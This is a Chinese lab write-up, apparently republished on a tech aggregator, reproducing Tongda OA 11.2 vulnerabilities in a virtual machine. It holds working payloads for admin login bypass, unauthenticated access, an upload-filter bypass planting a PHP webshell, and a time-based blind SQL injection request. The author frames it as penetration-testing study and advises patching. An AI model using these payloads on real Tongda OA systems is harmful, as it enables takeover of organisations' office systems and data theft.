IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Web渗透实例复现(一)(通达OA11.2) -> 正文阅读

[PHP知识库]Web渗透实例复现(一)(通达OA11.2)

1. 渗透背景:

目标站点:VM虚拟机
O A 版本:通达OA系统11.2
目标系统:Windows server 2008 R2 SP1
威胁等级:高危
渗透工具:BurpSuite pro、SeayDzend、TongDaOA-Fake-User、PHPstorm、蚁剑、VMware

2. 存在漏洞

  1. 前台任意用户登录漏洞
  2. 前台未授权访问漏洞
  3. 管理后台文件上传漏洞
  4. 后台SQL注入漏洞
  5. 文件包含getshell

3. 漏洞复现

3.1 前台任意用户登录漏洞

3.1.1 漏洞原理:

根据网友提供的POC的代码分析,该漏洞涉及的文件包含以下四个文件:

/ispirit/login_code.php/ispirit/login_code_check.php/general/login_code_scan.php/general/index.php

通达OA源码使用zend5加密,利用解密工具SeayDzend解密上述四个文件后分析源码。

  1. /ispirit/login_code.php
    在这里插入图片描述
    该文件用来获取codeuid 参数,如果不存在,则会自动生成一个codeuid ,并且将其写入CODE_LOGIN_PC缓存中(通达OA使用了缓存系统Redis,同时也提供了对缓存的使用方法),但是在18行位置将这个参数显示出来,导致用户可以获取这个参数的值,从而可以绕过后面的验证。

  2. /general/login_code_scan.php
    在这里插入图片描述
    在这一文件中,用户可以控制输入的关键参数uid,在存在漏洞的通达OA版本中,后台数据库里uid对应的用户是admin管理员账户。并且将该数据存储在CODE_INFO_PC 缓存中,因为我们在第一个文件中获取的codeuid存储在CODE_LOGIN_PC中,所以这里在复现时需要指明source变量为pc,这里的username则为admin,而type变量需要指明为confirm

  3. /ispirit/login_code_check.php
    在这里插入图片描述
    这里使用之前存储的两个缓存中的内容,一个用来获取codeuid,一个用来获取通过Post 传入的uid等关键信息。
    在这里插入图片描述
    这里是最为关键的位置,代码获取用户可控的参数uid,并依次作为依据直接带入数据库进行查询。
    在这里插入图片描述
    在这里插入图片描述
    随后将查询的信息直接写入session中,通过这一步, session中包含的就是管理员的身份信息。

3.1.2 手工抓包复现:

  1. 抓首页的包进行更改,访问/ispirit/login_code.php,通过返回包获取codeuid
    在这里插入图片描述

  2. 使用POST方式访问/general/login_code_scan.php,提交相关参数,其中codeuid改为上一步中返回的值。

    payload:

    uid=1&codeuid={your-codeuid}&type=confirm&source=pc&username=admin
    

    在这里插入图片描述

  3. 使用GET方式访问/ispirit/login_code_check.php,传入关键参数codeuid,让后台进行代入查询,并返回携带管理员身份信息的凭证。
    在这里插入图片描述

  4. 经过这步后客户端已经拥有了管理员的身份信息,直接访问OA主页,放行如下数据包以及后续的数据包(后续数据包内容大概为管理页面的其他内容),成功以管理员身份登录OA系统。
    在这里插入图片描述
    在这里插入图片描述

3.1.3 POC自动获取复现:

  1. 在python环境下运行POC,返回cookie
    (POC来自Github:https://github.com/NS-Sp4ce/TongDaOA-Fake-User
    在这里插入图片描述

  2. 替换浏览器存储的cookie,访问http://your-ip/general/成功以管理员身份登录OA系统。
    ?
    未更改cookie前:
    在这里插入图片描述
    更改cookie后:
    在这里插入图片描述

3.2 前台未授权访问漏洞

备注:需要后台有账户在线时使用
?

  1. 访问http://your-ip/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0 ,此时出现RELOGIN,说明目前没有人在线,需要等待有人登录的时候再尝试。
    在这里插入图片描述
  2. 在虚拟机通达后台登录管理员账号,再次尝试,此时出现空白页面,说明已经获得权限。
    在这里插入图片描述
  3. 再次访问http://your-ip/general/,成功进入系统。
    在这里插入图片描述

3.3 管理后台文件上传漏洞

  1. 登录后台后,在“系统管理 → 系统参数设置 → OA服务设置”,找到Webroot目录
    在这里插入图片描述

  2. 点击系统管理 → 附件管理 → 添加存储目录,在此重新设置上传附件存储目录(原先默认的路径在MYOA -> attach,不在网站目录MYOA -> webroot下)

    注:
    此处的更改上传文件路径选项在通达OA11.2的版本下可以,11.4版本中不能如此设置,因为这个路径被识别为敏感路径。
    在这里插入图片描述

  3. 选择组织 → 管理员 → 附件上传,经测试,此处上传“php、php5、phtml”等后缀会被过滤,此时上传TXT 文件是成功的。抓包查看返回值。
    在这里插入图片描述
    在这里插入图片描述

  4. 根据返回的结果,拼接文件路径, http://your-ip/im/2106/704995893.shell.txt
    在虚拟机中查看该目录,上传成功
    在这里插入图片描述

  5. 利用windows系统会自动去掉符号“点”,上传shell.php. 文件进行绕过
    在这里插入图片描述

  6. 根据返回的结果,拼接文件路径:http://your-ip/im/2106/shell.php,蚁剑连接,成功getshell
    在这里插入图片描述

3.4 后台SQL注入漏洞

备注:复现此漏洞需先通过上述操作登录OA管理后台,此时为admin权限但无数据库操作权限,此时存在SQL注入漏洞。

  1. 此漏洞存在于/general/appbuilder/web/calendar/calendarlist/getcallist 目录,该点存在盲注。(sqlmap未复现成功)
    问题关键参数: starttime=12&endtime=15&view=month&condition=1
    ?
    payload:

    starttime=12&endtime=15&view=month&condition=1
    starttime=AND (SELECT[RANDNUM]FROM(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1
    
  2. Request包

    POST /general/appbuilder/web/calendar/calendarlist/getcallist HTTP/1.1
    Host: your-ip
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) 			Gecko/20100101 Firefox/89.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: KEY_RANDOMDATA=1408; PHPSESSID=94jsta5nnj7ops79s11ji3v3s6
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 197
    
    starttime=12&endtime=15&view=month&condition=1
    starttime=AND (SELECT[RANDNUM]FROM(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])---&endtime=1598918400&view=month&condition=1
    

    爆出部分信息:
    在这里插入图片描述
    在这里插入图片描述

3.5 文件包含getshell

  1. Goby扫描目标站点,爆出通达文件包含getshell,进行验证,goby自动完成Webshell上传。
    在这里插入图片描述
  2. 蚁剑连接shell成功验证。
    在这里插入图片描述
    在这里插入图片描述

4. 总结

针对本次实验复现的通达OA漏洞,解决方法为:尽快更新OA版本,及时打系统补丁。不过除了11.2版本外,此漏洞可能存在于其他版本中,可能也许只是漏洞代码的存放路径改变了,大神可自行分析(小弟我太白,现在真不会审计🤡)。后续版本也有许多其他问题,可能存在多版本也可能只有当前版本,等我有时间的时候再做做看吧(主要现在有些懒😢)

本次实验复现了通达OA其中一个版本的漏洞,目的仅是用于学习渗透测试的思路以及部分方法。实验环境完全由自己搭建在虚拟机环境下,自己搭建自己复现,没有任何现实中的操作!

(敲黑板!!!)
此篇仅供技术交流学习,请勿用于任何现实网络环境的破坏!做一个遵纪守法的好公民!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章           查看所有文章
加:2021-07-15 15:56:45  更:2021-07-15 15:59:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/8 3:02:55-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码